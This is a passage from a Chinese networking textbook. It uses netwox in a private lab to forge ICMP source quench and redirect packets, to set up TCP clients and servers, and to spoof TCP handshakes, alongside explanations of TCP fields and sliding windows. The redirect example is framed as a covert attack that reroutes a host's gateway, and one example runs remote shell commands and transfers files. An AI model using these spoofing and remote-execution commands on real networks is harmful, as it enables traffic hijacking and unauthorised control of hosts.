（3）通过捕获数据包，验证伪造的源站抑制的ICMP数据包，如图5.27所示。捕获到了若干个ICMP数据包，其中，第4个数据包的源IP地址为192.168.59.134，目标IP地址为192.168.59.135，是主机A向主机B发送的ICMP请求包；第6个数据包的源IP地址为192.168.59.135，目标IP地址为192.168.59.134，Info列显示的Source Quench表示源站抑制，说明该数据包为伪造的源站抑制ICMP数据包。
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图5.27　捕获的ICMP数据包

（4）选择第6个数据包，查看包信息，如图5.28所示。在Internet Control Message Protocol部分中，Type值为4，Code值为0，说明该数据包是源站抑制ICMP数据包。
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图5.28　源站抑制ICMP数据包


5.4.6　伪造重定向ICMP数据包

当路由收到IP数据报，发现数据报的目的地址在路由表上却不存在时，它发送ICMP重定向报文给源发送方，提醒它接收的地址不存在，需要重新发送给其他地址进行查找。在该类型报文中，类型值为5，代码值为0。伪造这种类型的数据包需要使用netwox工具中编号为86的模块。

【实例5-16】已知主机A的IP地址为192.168.59.132，netwox工具所在主机IP地址为192.168.59.135。基于netwox所在主机向主机A实施攻击。为了不让目标主机发现攻击的来源，伪造数据包的源IP地址为192.168.59.136，将目标主机的网关修改为网段中的其他主机，使目标主机发送的数据包重定向到该主机上。具体步骤如下：

（1）查看目标主机A的网关。在目标主机A上，向www.qq.com
 发送ping请求。通过捕获数据包，查看网关信息，如图5.29所示。图中第2帧和第3帧为DNS协议查询数据包，是通过网关查询www.qq.com
 主机的IP地址信息。从中可以判断，目标主机的网关为192.168.59.2。
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图5.29　查看网关

（2）向目标主机发送重定向数据包，设置源IP地址为192.168.59.136，将目标主机发送的数据包重定向到主机192.168.59.131上，执行命令如下：



root@daxueba:~# netwox 86 -g 192.168.59.131 -c 1 -i 192.168.59.136



执行命令没有任何输出信息。

（3）在目标主机上向www.qq.com
 发送ping请求，执行命令如下：



root@daxueba:~# ping www.qq.com



输出信息如下：



PING https.qq.com (125.39.52.26) 56(84) bytes of data.
64 bytes from no-data (125.39.52.26): icmp_seq=1 ttl=128 time=25.6 ms
From localhost (192.168.59.136): icmp_seq=1 Redirect Host(New nexthop:
localhost (192.168.59.131))
From localhost (192.168.59.136): icmp_seq=2 Redirect Host(New nexthop:
localhost (192.168.59.131))
64 bytes from no-data (125.39.52.26): icmp_seq=2 ttl=128 time=25.2 ms
From localhost (192.168.59.136): icmp_seq=3 Redirect Host(New nexthop:
localhost (192.168.59.131))
64 bytes from no-data (125.39.52.26): icmp_seq=3 ttl=128 time=27.1 ms
64 bytes from no-data (125.39.52.26): icmp_seq=4 ttl=128 time=25.5 ms
From localhost (192.168.59.136): icmp_seq=4 Redirect Host(New nexthop:
localhost (192.168.59.131))



上述输出信息中，64 bytes from no-data(125.39.52.26)：icmp_seq=1 ttl=128 time=25.6 ms表示成功向目标www.qq.com
 发送ping请求；From localhost(192.168.59.136)：icmp_seq=1 Redirect Host(New nexthop：localhost(192.168.59.131))表示伪造的重定向ICMP数据包，源IP地址为192.168.59.136，Redirect Host表示目标主机已经重定向，重定向到了主机192.168.59.131上。

（4）在目标主机上捕获数据包，验证重定向的数据包，如图5.30所示。其中，第11帧的源IP地址为192.168.59.136（设置的源IP地址），目标IP地址为192.168.59.132（设置的目标IP地址），Info列的Redirect(Redirect for host)表示该数据包是一个重定向数据包。在Internet Control Message Protocol部分中，Type值为5，Code值为1，说明该数据包是重定向的数据包；Gateway address：192.168.59.131表示该主机的网关被重新定向到了192.168.59.131。
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图5.30　查看重定向数据包

（5）选择第13帧，查看网关的重定向信息，如图5.31所示。第13帧的源IP地址为192.168.59.136（设置的源IP地址），目标IP地址为192.168.59.2（目标主机A的网关）。该数据包也是一个重定向的数据包。在Internet Control Message Protocol部分中，Gateway address：192.168.59.131表示目标主机A的网关被修改为了192.168.59.131。
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图5.31　查看网关重定向


第6章　传输层和TCP协议

传输层（Transport Layer）是OSI协议的第四层协议，是唯一负责总体的数据传输和数据控制传输层的一层协议。传输层提供端到端的交换数据机制，它不仅对会话层、表示层和应用层这高三层提供可靠的传输服务，还对网络层提供可靠的目的地站点信息。本章将详细讲解传输层及常见协议的相关知识。


6.1　基础知识

为了更好地学习和了解传输层，本节将介绍其基本知识。通过学习这些基本知识，可以更好地掌握传输层中涉及的相关概念，并理解传输层的作用。


6.1.1　传输层的作用

网际层提供了主机之间的逻辑通道，即通过寻址的方式，把数据包从一个主机发到另一个主机上。如果一个主机有多个进程同时在使用网络连接，那么数据包到达主机之后，如何区分它属于哪个进程呢？为了区分数据包所属的进程，就需要使用到传输层。传输层提供了应用进程之间的端到端连接，其作用如下：

·为网络应用程序提供接口。

·为端到端连接提供流量控制、差错控制、服务质量等管理服务。

·提供多路复用、多路分解机制。


6.1.2　面向连接和无连接

针对不同情况下的数据质量保证，传输层提供了两种数据传输协议类型，分别为面向连接与无连接。下面介绍这两种类型的概念和工作原理。

1.面向连接

面向连接就是通信双方在通信时，要事先建立一条通信线路，然后进行通信。其过程分为三个阶段。第一阶段是建立连接。第二阶段是连接成功建立之后，进行数据传输。第三阶段是在数据传输完毕后，释放连接。

下面以李四与张三的对话来说明面向连接的工作原理，如图6.1所示。其中，李四向张三说的每一句话都要得到张三的回应，然后才会说下一句话，直到李四说完最后一句话。
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图6.1　面向连接

2.无连接

无连接是指通信双方不需要事先建立通信线路，而是把每个带有目的地址的包（报文分组）发送到线路上，由系统选定路线进行传输，不需要目标方进行回复。

下面以李四与张三的对话来说明无连接的工作原理，如图6.2所示。从图中可以看到，李四向张三说出了要说的话，而不需要得到张三的回复。
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图6.2　无连接


6.1.3　端口和套接字

为了区分同一个主机上不同应用程序的数据包，传输层提供了端口和套接字概念。下面介绍端口和套接字的作用。

1.端口的作用

在数据链路层中，通过MAC地址来寻找局域网中的主机；在网际层中，通过IP地址来寻找网络中互连的主机或路由器。在传输层中，需要通过端口进行寻址，来识别同一计算机中同时通信的不同应用程序。

2.常用端口

端口号用来识别应用程序。常用TCP端口号和对应的应用程序如表6.1所示；常见的UDP端口号及对应的应用程序如表6.2所示。

表6.1　常见的TCP端口及对应的应用程序
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表6.2　常见的UDP端口及对应的应用程序
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3.套接字

应用层通过传输层进行数据通信时，TCP和UDP会遇到需要同时为多个应用程序进程提供并发服务的问题。多个TCP连接或多个应用程序进程可能需要通过同一个TCP协议端口传输数据。为了区别不同的应用程序进程和连接，许多计算机操作系统为应用程序与TCP／IP协议交互提供了称为套接字（Socket）的接口，区分不同应用程序进程间的网络通信和连接。

套接字是由主机的IP地址加上主机上的端口号组成的地址。例如，套接字地址101.102.103.104：21，表示指向IP地址为101.102.103.104的计算机的21端口。


6.1.4　多路复用和多路分解

在网络上主机与主机之间的通信实质上是主机上运行的应用进程之间的通信。在进行通信时，往往同时运行多个应用程序。为了能够让一个计算机同时支持多个网络程序，并且同时保持与多台计算机进行连接，就需要使用多路复用和多路分解，其含义如下：

·多路复用：从源主机的不同套接字中收集数据块，并为每个数据块封装首部信息，从而生成报文段，然后将报文段传递到网络层中。

·多路分解：将传输层报文段中的数据交付到正确的套接字。


6.2　TCP协议

传输控制协议（Transmission Control Protocol，TCP）是一种面向连接的、可靠的、基于字节流的传输层通信协议。在TCP协议中，通过三次握手建立连接。通信结束后，还需要断开连接。如果在发送数据包时，没有正确被发送到目的地时，将会重新发送数据包。本节将详细讲解TCP协议的工作机制。


6.2.1　TCP协议作用

TCP协议使用的是面向连接的方法进行通信的，其作用如下：

·面向流的处理：TCP以流的方式处理数据。换句话说，TCP可以一个字节一个字节地接收数据，而不是一次接收一个预订格式的数据块。TCP把接收到的数据组成长度不等的段，再传递到网际层。

·重新排序：如果数据以错误的顺序到达目的地，TCP模块能够对数据重新排序，来恢复原始数据。

·流量控制：TCP能够确保数据传输不会超过目的计算机接收数据的能力。

·优先级与安全：为TCP连接设置可选的优先级和安全级别。

·适当的关闭：以确保所有的数据被发送或接收以后，再进行关闭连接。


6.2.2　TCP工作模式

TCP协议的数据包进行传输采用的是服务器端和客户端模式。发送TCP数据请求方为客户端，另一方则为服务器端。客户端要与服务器端进行通信，服务器端必须开启监听的端口，客户端才能通过端口连接到服务器，然后进行通信。

netwox工具提供了相关模块，用于建立TCP服务器端和TCP客户端。客户端连接服务器端后，可以进行数据通信。为了能够对服务器端进行远程操控，用户也可以建立远程TCP服务器端和远程TCP客户端，连接以后，可以在服务器端执行命令，进行上传和下载。

1.建立TCP服务器端和TCP客户端

为了能够完成客户端与服务器端之间的通信，可以使用netwox工具编号为89的模块建立TCP服务器端，然后使用编号为87的模块建立TCP客户端。

【实例6-1】已知主机A的IP地址为192.168.59.131，主机B的IP地址为192.168.59.135。分别在这两个主机上建立TCP服务器端和客户端，并进行连接，监听指定端口上的通信信息。具体步骤如下：

（1）在主机A上建立TCP服务器端，监听端口为80，执行命令如下：



root@daxueba:~# netwox 89 -P 80



运行后没有任何输出信息，可以输入要传输的数据。

（2）在主机B上建立TCP客户端，连接TCP服务器端，执行命令如下：



root@daxueba:~# netwox 87 -i 192.168.59.131 -p 80



运行后没有任何输出信息，可以输入要传输的数据。

（3）当在客户端输入信息后，将被发送到服务器端。例如，在客户端输入hi，如下：



root@daxueba:~# netwox 87 -i 192.168.59.131 -p 80
hi



（4）在服务器端将会收到到客户端的信息，如下：



root@daxueba:~# netwox 89 -P 80
hi



可以看出，输出信息为客户端输入的内容。

（5）在服务器端输入Hello，客户端也会监听到服务器端输入的内容，如下：



root@daxueba:~# netwox 87 -i 192.168.59.131 -p 80
hi
Hello



（6）通过捕获数据包，验证客户端和服务器端的通信过程。捕获到的数据包如图6.3所示。其中，第10个数据包是TCP客户端向服务器端进行通信的数据包，其中[PSH，ACK]，表示该包为数据通信数据包；第11个数据包为对应的响应包，表示允许通信；第20个数据包是TCP服务器端向客户端进行通信的数据包，第21个数据包为对应的响应包。
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图6.3　通信数据包

2.建立远程操作的TCP服务器端和TCP客户端

通过前面的讲解，用户可以建立TCP客户端，并连接到TCP服务器端，然后进行简单的通信。下面讲解如何通过TCP协议，远程在服务器端执行命令。

【实例6-2】已知主机A的IP地址为192.168.59.131，主机B的IP地址为192.168.59.135，使用netwox编号为93和94的模块，分别在主机A和主机B建立TCP服务器端和客户端，然后通过客户端远程在服务器上执行命令。具体步骤如下：

（1）在主机A上建立TCP远程管理服务器，并设置监听的端口为7615，执行命令如下：



root@daxueba:~# netwox 93 -P 7615



执行命令后没有任何输出信息。

（2）查看远程管理服务器的配置信息，如下：



root@daxueba:~# ifconfig



输出信息如下：



eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.59.131  netmask 255.255.255.0  broadcast 192.168.59.255
        inet6 fd15:4ba5:5a2b:1008:20c:29ff:fe64:a54f  prefixlen 64  scopeid 0x0<global>
        inet6 fe80::20c:29ff:fe64:a54f  prefixlen 64  scopeid 0x20<link>
        inet6 fd15:4ba5:5a2b:1008:2c92:52e9:dd2:37a7  prefixlen 64  scopeid 0x0<global>
        ether 00:0c:29:64:a5:4f  txqueuelen 1000  (Ethernet)
        RX packets 215123  bytes 259364632 (247.3 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 83482  bytes 5073376 (4.8 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0



上述输出信息显示了服务器的配置信息。例如，IP地址为192.168.59.131，MAC地址为00：0c：29：64：a5：4f。

（3）在主机B上建立TCP客户端，并连接服务器端，然后执行命令ifconfig，如下：



root@daxueba:~# netwox 94 -i 192.168.59.131 -p 7615 -c "/bin/sh -c ifconfig"



输出信息如下；



eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.59.131  netmask 255.255.255.0  broadcast 192.168.59.255
        inet6 fd15:4ba5:5a2b:1008:20c:29ff:fe64:a54f  prefixlen 64  scopeid
        0x0<global>
        inet6 fe80::20c:29ff:fe64:a54f  prefixlen 64  scopeid 0x20<link>
        inet6 fd15:4ba5:5a2b:1008:2c92:52e9:dd2:37a7  prefixlen 64  scopeid
        0x0<global>
        ether 00:0c:29:64:a5:4f  txqueuelen 1000  (Ethernet)
        RX packets 215293  bytes 259375823 (247.3 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 83491  bytes 5074036 (4.8 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0



上述输出信息与步骤（2）的输出信息一样，说明成功执行了ifconfig命令。

3.建立TCP远程客户端（下载文件）

有时候客户端需要从服务器上下载文件。用户可以使用netwox工具编号为95的模块建立TCP客户端，下载服务器上的文件。

【实例6-3】已知主机A的IP地址为192.168.59.131，主机B的IP地址为192.168.59.135；主机A上有一个文件user.txt。使用netwox工具编号为93和95的模块分别在主机A和主机B建立服务器端和客户端，然后通过客户端从服务器上下载user.txt文件。具体步骤如下：

（1）在主机A上建立TCP远程管理服务器，并设置监听的端口为7615，执行命令如下：



root@daxueba:~# netwox 93 -P 7615



执行命令后没有任何输出信息。

（2）在服务器上，查看user.txt文件的信息，执行命令如下：



root@daxueba:~# cat user.txt



输出信息如下：



smz
admin
root
abc133
bob
tom123
administrator
wang001



（3）在主机B上建立TCP客户端，并连接TCP服务器，获取user.txt文件的信息，如下：



root@daxueba:~# netwox 95 -i 192.168.59.131 -p 7615 -f "user.txt"



输出信息如下：



smz
admin
root
abc133
bob
tom123
administrator
wang001



上述输出信息为服务器上file.txt文件的信息。

（4）如果用户想要保存文件内容，可以指定保存的位置。例如，将信息保存到文件fileuser.txt中，执行命令如下：



root@daxueba:~# netwox 95 -i 192.168.59.131 -p 7615 -f "user.txt" -F
fileuser.txt



4.建立TCP远程客户端（上传文件）

有时候，客户端需要将文件上传到服务器上。这时，可以使用netwox工具编号为96的模块来实现。

【实例6-4】已知主机A的IP地址为192.168.59.131，主机B的IP地址为192.168.59.135；主机B上有一个文件password.txt。使用netwox工具编号为93和96的模块分别在主机A和主机B建立服务器和客户端，并将客户端的password.txt文件上传到服务器上，命名为pass.txt。具体步骤如下：

（1）在主机A上建立TCP远程管理服务器，并设置监听的端口为7615，执行命令如下：



root@daxueba:~# netwox 93 -P 7615



执行命令后没有任何输出信息。

（2）在主机B上，查看password.txt文件的信息，如下：



root@daxueba:~# cat password.txt



输出信息如下：



www
mail
remote
blog
webmail
server
ns1



（3）在主机B上建立TCP远程管理客户端，并连接服务器，将password.txt文件上传到服务器上，文件名称为pass.txt，执行命令如下：



root@daxueba:~# netwox 96 -i 192.168.59.131 -p 7615 -f password.txt -F
pass.txt



执行命令后没有任何输出信息，但是会成功将文件password.txt上传到服务器上，上传后的文件名称为pass.txt。

（4）在服务器上，查看文件pass.txt的信息，执行命令如下：



root@daxueba:~# cat pass.txt



输出信息如下：



www
mail
remote
blog
webmail
server
ns1




6.2.3　TCP数据格式

TCP报文是TCP层传输的数据单元，也称为报文段。TCP报文中每个字段如图6.4所示。
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图6.4　TCP报文

图6.4中TCP报文中每个字段的含义如下：

1.源端口和目的端口字段

·TCP源端口（Source Port）：源计算机上的应用程序的端口号，占16位。

·TCP目的端口（Destination Port）：目标计算机的应用程序端口号，占16位。

2.序列号字段

·TCP序列号（Sequence Number）：占32位。它表示本报文段所发送数据的第一个字节的编号。在TCP连接中，所传送的字节流的每一个字节都会按顺序编号。当SYN标记不为1时，这是当前数据分段第一个字母的序列号；如果SYN的值是1时，这个字段的值就是初始序列值（ISN），用于对序列号进行同步。这时，第一个字节的序列号比这个字段的值大1，也就是ISN加1。

3.确认号字段

·TCP确认号（Acknowledgment Number，ACK Number）：占32位。它表示接收方期望收到发送方下一个报文段的第一个字节数据的编号。其值是接收计算机即将接收到的下一个序列号，也就是下一个接收到的字节的序列号加1。

4.数据偏移字段

·TCP首部长度（Header Length）：数据偏移是指数据段中的“数据”部分起始处距离TCP数据段起始处的字节偏移量，占4位。其实这里的“数据偏移”也是在确定TCP数据段头部分的长度，告诉接收端的应用程序，数据从何处开始。

5.保留字段

·保留（Reserved）：占4位。为TCP将来的发展预留空间，目前必须全部为0。

6.标志位字段

·CWR（Congestion Window Reduce）：拥塞窗口减少标志，用来表明它接收到了设置ECE标志的TCP包。并且，发送方收到消息之后，通过减小发送窗口的大小来降低发送速率。

·ECE（ECN Echo）：用来在TCP三次握手时表明一个TCP端是具备ECN功能的。在数据传输过程中，它也用来表明接收到的TCP包的IP头部的ECN被设置为11，即网络线路拥堵。

·URG（Urgent）：表示本报文段中发送的数据是否包含紧急数据。URG=1时表示有紧急数据。当URG=1时，后面的紧急指针字段才有效。

·ACK：表示前面的确认号字段是否有效。ACK=1时表示有效。只有当ACK=1时，前面的确认号字段才有效。TCP规定，连接建立后，ACK必须为1。

·PSH（Push）：告诉对方收到该报文段后是否立即把数据推送给上层。如果值为1，表示应当立即把数据提交给上层，而不是缓存起来。

·RST：表示是否重置连接。如果RST=1，说明TCP连接出现了严重错误（如主机崩溃），必须释放连接，然后再重新建立连接。

·SYN：在建立连接时使用，用来同步序号。当SYN=1，ACK=0时，表示这是一个请求建立连接的报文段；当SYN=1，ACK=1时，表示对方同意建立连接。SYN=1时，说明这是一个请求建立连接或同意建立连接的报文。只有在前两次握手中SYN才为1。

·FIN：标记数据是否发送完毕。如果FIN=1，表示数据已经发送完成，可以释放连接。

7.窗口大小字段

·窗口大小（Window Size）：占16位。它表示从Ack Number开始还可以接收多少字节的数据量，也表示当前接收端的接收窗口还有多少剩余空间。该字段可以用于TCP的流量控制。

8.TCP校验和字段

·校验位（TCP Checksum）：占16位。它用于确认传输的数据是否有损坏。发送端基于数据内容校验生成一个数值，接收端根据接收的数据校验生成一个值。两个值必须相同，才能证明数据是有效的。如果两个值不同，则丢掉这个数据包。Checksum是根据伪头+TCP头+TCP数据三部分进行计算的。

9.紧急指针字段

·紧急指针（Urgent Pointer）：仅当前面的URG控制位为1时才有意义。它指出本数据段中为紧急数据的字节数，占16位。当所有紧急数据处理完后，TCP就会告诉应用程序恢复到正常操作。即使当前窗口大小为0，也是可以发送紧急数据的，因为紧急数据无须缓存。

10.可选项字段

·选项（Option）：长度不定，但长度必须是32bits的整数倍。


6.3　TCP建立连接

TCP是面向连接的协议，所以每次发出的请求都需要对方进行确认。TCP客户端与TCP服务器在通信之前需要完成三次握手才能建立连接。下面详细讲解三次握手的过程。


6.3.1　第1次握手

第1次握手建立连接时，客户端向服务器发送SYN报文（SEQ=x，SYN=1），并进入SYN_SENT状态，等待服务器确认，如图6.5所示。
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图6.5　第1次握手


6.3.2　第2次握手

第2次握手实际上是分两部分来完成的，即SYN+ACK（请求和确认）报文。

·服务器收到了客户端的请求，向客户端回复一个确认信息（ACK=x+1）。

·服务器再向客户端发送一个SYN包（SEQ=y）建立连接的请求，此时服务器进入SYN_RECV状态，如图6.6所示。
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图6.6　第2次握手


6.3.3　第3次握手

第3次握手，是客户端收到服务器的回复（SYN+ACK报文）。此时，客户端也要向服务器发送确认包（ACK）。此包发送完毕客户端和服务器进入ESTABLISHED状态，完成3次握手，如图6.7所示。
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图6.7　第3次握手
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 提示：
 SEQ表示请求序列号，ACK表示确认序列号，SYN和ACK为标志位。


6.3.4　分析握手过程中字段的变化

我们知道每一次握手时，TCP报文中标志位的值是不同的。为了更好地分析3次握手时每个标志位的变化，下面以抓包方式分析每个数据包的信息。

【实例6-5】使用Wireshark捕获TCP连接数据包并进行分析。

（1）捕获到3次握手包，如图6.8所示。图中，第22个数据包的源IP地址为192.168.59.135，目标IP地址为192.168.59.131。在Transmission Control Protocol中可以看到，Flags为SYN，并且值设置为1，表示该数据包是主机192.168.59.135向主机192.168.59.131发起的请求，希望建立TCP连接。Sequence number表示请求序列号EQ，值为0，是由主机192.168.59.135随机生成的。
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图6.8　第1次握手

（2）选择第23个数据包进行查看，如图6.9所示。该数据包源IP地址为192.168.59.131，目标IP地址为192.168.59.135。在Transmission Control Protocol中可以看到，Flags为（SYN，ACK），并且将SYN置为1，表示该数据包是主机192.168.59.131用来回复主机192.168.59.135发送的TCP连接请求。Acknowledgment number表示ACK，值为1。该值是回复主机192.168.59.135发来的连接请求SEQ，因此在SEQ的基础上加1，以代表确认。Sequence number值为0，该值是由主机192.168.59.131生成的，是向主机192.168.59.135发送的SYN，表示同意该主机发来的连接请求。

（3）选择第24个数据包进行查看，如图6.10所示。源IP地址为192.168.59.135，目标IP地址为192.168.59.131。在Transmission Control Protocol中可以看到，Flags为ACK。表示该数据包是主机192.168.59.135对主机192.168.59.131发来的同意连接数据包后做出的确认回复。Acknowledgment number的值为1，该值是在主机192.168.59.131发来的SEQ的基础上加1得到的。Sequence number的值为1，表示收到主机192.168.59.131发来的同意连接数据包后，再次向该主机发送连接请求，表示要连接了。
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图6.9　第2次握手
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图6.10　第3次握手


6.3.5　构造3次握手包

客户端与服务器通过3次握手建立连接，实际上是端口与端口之间的连接。用户可以伪造3次握手包，连接指定的端口，或者使用未启用的端口回复连接，以误导连接者，使其认为已经正确连接了端口。构造3次握手包需要使用netwox工具中编号为42的模块。

【实例6-6】已知主机A的IP地址为192.168.59.131，端口443处于开放状态。主机B的IP地址为192.168.59.135，端口8080处于开放状态。通过主机A连接主机B，构造3次握手。

（1）在主机A上构造第1次握手包，连接主机B的8080端口，执行命令如下：



root@daxueba:~# netwox 42 -x -s 192.168.59.131 -d 192.168.59.135 -S 443 -D
8080 -n 2



输出信息如下：



IP______________________________________________________________.
|version|  ihl   |      tos       |            totlen                   |
|___4___|___5___ |____0x00=0_____ |___________0x0028=40___________      |
|                  id               |r|D|M|       offsetfrag            |
|____________0x2262=8802________|0|0|0|________0x0000=0_________        |
|           ttl  |      protocol  |           checksum                  |
|_____0x80=128___|______0x06=6____|____________ 0x2013__________        |
|                                 source                                |
|__________________________192.168.59.131_________________________      |
|                                destination                            |
|__________________________192.168.59.135_________________________      |
TCP_____________________________________________________________.
|               source port       |           destination port          |
|____________0x01BB=443__________ |__________0x1F90=8080__________      |
|                                 seqnum                                |
|_____________________ 0xA97F8D14=2843708692_____________________       |
|                                 acknum                                |
|_________________________0x00000000=0__________________________        |
| doff | r | r | r | r | C | E | U | A | P | R | S | F|   window        |
|_ 5_| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0|______0x05DC=1500______|
|              checksum           |            urgptr                   |
|___________0x59CC=22988___________|__________0x0000=0__________        |



上述输出信息的IP部分为IP数据报字段。其中，源IP地址为192.168.59.131，目标IP地址为192.168.59.135。TCP部分为TCP数据报字段。其中，源端口为443，目标端口为8080，并且S的值为1，表示SYN值为1。

（2）通过抓包验证的确构造了第1次握手包。捕获的数据包如图6.11所示。图中，第13个数据包源IP地址为192.168.59.131，目标IP地址为192.168.59.135。在Transmission Control Protocol中可以看到Flags为（SYN），并且SYN的值被设置为1，说明该数据包为成功构造的第1次握手包。第14个数据包为主机B返回的[SYN，ACK]响应包。
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图6.11　构造第1次握手包

（3）如果构造的握手包连接主机B未开放的端口，将不会收到对应的[SYN，ACK]响应包。例如，连接端口8081，捕获数据包如图6.12所示。其中，第9个数据包为构造的第1次握手包。由于目标主机8081端口未开放，没有收到第2次握手包。
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图6.12　端口未开放

（4）为了干扰判断，这时就可以在主机B上构造第2次握手包了。执行命令如下：



root@daxueba:~# netwox 42 -x -s 192.168.59.135 -d 192.168.59.131 -S 8081
-D 443 -n 3



输出信息如下：



IP______________________________________________________________.
|version |  ihl  |      tos       |            totlen                   |
|___4___ |___5___|____0x00=0_____ |___________0x0028=40___________      |
|                  id                     |r|D|M|       offsetfrag      |
|____________ 0x37E2=14306_______ |0|0|0|________0x0000=0_________      |
|           ttl  |      protocol  |           checksum                  |
|_____0x80=128___|______0x06=6____|____________ 0x110E____________      |
|                                 source                                |
|__________________________192.168.59.135_________________________      |
|                                destination                            |
|__________________________192.168.59.131_________________________      |
TCP_____________________________________________________________.
|               source port       |           destination port          |
|____________ 0x1F91=8081_________|_________ 0x01BB=443__________       |
|                                 seqnum                                |
|_____________________ 0xAC34C455=2889139285_____________________       |
|                                 acknum                                |
|_________________________ 0x0000C166=49510______________________       |
| doff | r | r | r | r | C | E | U | A | P | R | S | F|   window        |
|_ 5_  | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 |__________
0x05DC=1500__________|
|              checksum           |            urgptr                   |
|___________ 0x5E5E=24158_________|___________0x0000=0___________       |



从IP部分可以看到，源IP地址为主机B的地址192.168.59.135，目标IP地址为主机A的地址192.168.59.131。从TCP部分可以看到，源端口为8081，目标端口为443，并且A和S的值为1，也就是SYN和ACK的值为1。

（5）通过抓包验证成功构造的第2次握手包，如图6.13所示。其中，数据包源IP地址为192.168.59.135，目标IP地址为192.168.59.131。在Transmission Control Protocol中可以看到，Flags为（SYN，ACK），并且SYN和Acknowledgment的值被设置为1，说明该数据包为成功构造的第2次握手包。这样，就可以干扰主机A的判断，使其认为主机B上的8081端口是开放的。
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图6.13　构造第2次握手包

（6）在主机A上构造第3次握手包，执行命令如下：



root@daxueba:~# netwox 42 -x -s 192.168.59.131 -d 192.168.59.135 -S 443 -D
8080 -n 4



输出信息如下：



IP______________________________________________________________.
|version |  ihl  |      tos       |            totlen                   |
|___4___ |___5___|____0x00=0______|___________ 0x003C=60__________      |
|                  id                     |r|D|M|       offsetfrag      |
|____________ 0x029B=667________|0|0|0|________0x0000=0_________        |
|           ttl  |      protocol  |           checksum                  |
|_____0x80=128___|______0x06=6____|____________ 0x3FC6____________      |
|                                 source                                |
|__________________________192.168.59.131_________________________      |
|                                destination                            |
|__________________________192.168.59.135_________________________      |
TCP_____________________________________________________________.
|               source port       |           destination port          |
|____________0x01BB=443___________|__________0x1F90=8080__________      |
|                                 seqnum                                |
|_____________________ 0x6339F336=1664742198_____________________       |
|                                 acknum                                |
|_________________________ 0x000018C9=6345________________________      |
| doff  | r | r | r | r | C | E | U | A | P | R | S | F|   window       |
|_ 5_  | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 |__________
0x05DC=1500__________|
|              checksum           |            urgptr                   |
|___________ 0x0A33=2611__________|__________0x0000=0____________       |
68  65  6c  6c   6f  2c  20  68   6f  77  20  61   72  65  20  79  # hello,
how are y
6f  75  20  3f                                                     # ou ?



从TCP部分可以看到，A的值为1，也就是ACK的值。下面的信息为TCP分段数据信息。

（7）抓包验证成功构造了第3次握手包，如图6.14所示。在Transmission Control Protocol中可以看到，Flags为（ACK），并且Acknowledgment的值被设置为1，说明该包为成功构造的第3次握手包。
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图6.14　构造第3次握手包


6.4　数据传输

客户端与服务器之间的通信是一个数据传输过程。通信的消息将以数据包形式进行传输。为了更有效地进行通信，TCP协议在数据进行数据传输时，使用滑动窗口机制来同时发送多个数据包。当数据包丢失时，TCP协议利用数据重发功能重新发送数据包。因接收端接收数据包的能力不同，TCP流控制会根据接收端的能力发送适当数量的数据包。


6.4.1　数据分片

数据从主机传送到另一个主机往往要经过路由器、网关等设备。这些设备都要对经过的数据进行处理。由于这些设备处理数据有一定的限制，不能处理超过额定字节的数据，所以发送的时候需要确定发送数据包的最大字节数。这个最大字节数被称为最大消息长度（Maximum Segment Size，MSS）。当要发送的数据超过该值，就需要将数据分为多个包，依次发送。该操作被称为数据分片。

MSS是TCP数据包每次能够传输的最大数据量。通常，最大值为1460字节。如果发送的数据包大小大于MSS值，数据包将会被分片传输。分片原理如图6.15所示。其中，第1次和第2次握手包的TCP首部包含MSS选项，互相通知对方网络接口能够适应的MSS的大小，然后双方会使用较小的MSS值进行传输。
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图6.15　分片原理


6.4.2　滑动窗口机制

在进行数据传输时，如果传输的数据比较大，就需要拆分为多个数据包进行发送。TCP协议需要对数据进行确认后，才可以发送下一个数据包，如图6.16所示。
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图6.16　确认数据包

从图6.16中可以看到，发送端每发送一个数据包，都需要得到接收端的确认应答以后，才可以发送下一个数据包。这样一来，就会在等待确认应答包环节浪费时间。为了避免这种情况，TCP引入了窗口概念。窗口大小指的是不需要等待确认应答包而可以继续发送数据包的最大值。例如，窗口大小为3，数据包的传输如图6.17所示。

从图6.17中可以看到，发送端发送第一个数据包（1-1000），没有等待对应的确认应答包，就继续发送第二个数据包（1001-2000）和第三个包（2001-3000）。当收到第3个数据包的确认应答包时，会连续发送3个数据包（3001-4000，4001-5000，5001-6000）。当收到第6个数据包的确认应答包时，又会发送3个数据包（6001-7000，7001-8000，8001-9000）。以这种方式发送，就可以省去多个数据包（第1、2、4、5、7、8个）的确认应答包时间，从而避免了网络的吞吐量的降低。

窗口大小指的是可以发送数据包的最大数量。在实际使用中，它可以分为两部分。第一部分表示数据包已经发送，但未得到确认应答包；第二部分表示允许发送，但未发送的数据包。在进行数据包发送时，当发送了最大数量的数据包（窗口大小数据包），有时不会同时收到这些数据包的确认应答包，而是收到部分确认应答包。那么，此时窗口就通过滑动的方式，向后移动，确保下一次发送仍然可以发送窗口大小的数据包。这样的发送方式被称为滑动窗口机制。设置窗口大小为3，滑动窗口机制原理如图6.18所示。
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图6.17　同时发送多个数据包
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图6.18　滑动窗口机制

图6.18中，每1000个字节表示一个数据包。发送端同时发送了3个数据包（2001-5000），接收端响应的确认应答包为“下一个发送4001”，表示接收端成功响应了前两个数据包，没有响应最后一个数据包。此时，最后一个数据包要保留在窗口中。由于窗口大小为3，发送端除了最后一个包以外，还可以继续发送下两个数据包（5001-6000和6001-7000）。窗口滑动到7001处。


6.4.3　数据重发

在进行数据包传输时，难免会出现数据丢失情况。这种情况一般分为两种。第一种，如果未使用滑动窗口机制，发送的数据包没有收到确认应答包，那么数据都会被重发；如果使用了滑动窗口机制，即使确认应答包丢失，也不会导致数据包重发。第二种，发送的数据包丢失，将导致数据包重发。下面详细介绍使用滑动窗口机制的两种情况。

1.确认应答包丢失

这种情况指的是前面发送的数据包没有收到对应的确认应答。当收到后面数据包的确认应答包，表示前面的数据包已经成功被接收端接收了，发送端不需要重新发送前面的数据包了。如图6.19所示。
